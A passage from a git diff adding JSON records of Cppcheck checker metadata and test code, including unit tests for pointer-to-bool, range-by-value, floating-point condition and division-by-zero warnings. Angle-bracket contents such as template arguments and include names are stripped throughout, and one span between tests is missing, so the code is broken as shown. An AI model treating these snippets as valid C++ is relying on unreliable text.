\"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkConstPointer.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkConstPointer.json new file mode 100644 index 0000000..8b5f165 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkConstPointer.json @@ -0,0 +1,22 @@ +{ + "name": "checkConstPointer", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 154, + "branches": 71, + "apis": 213, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 3960 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n 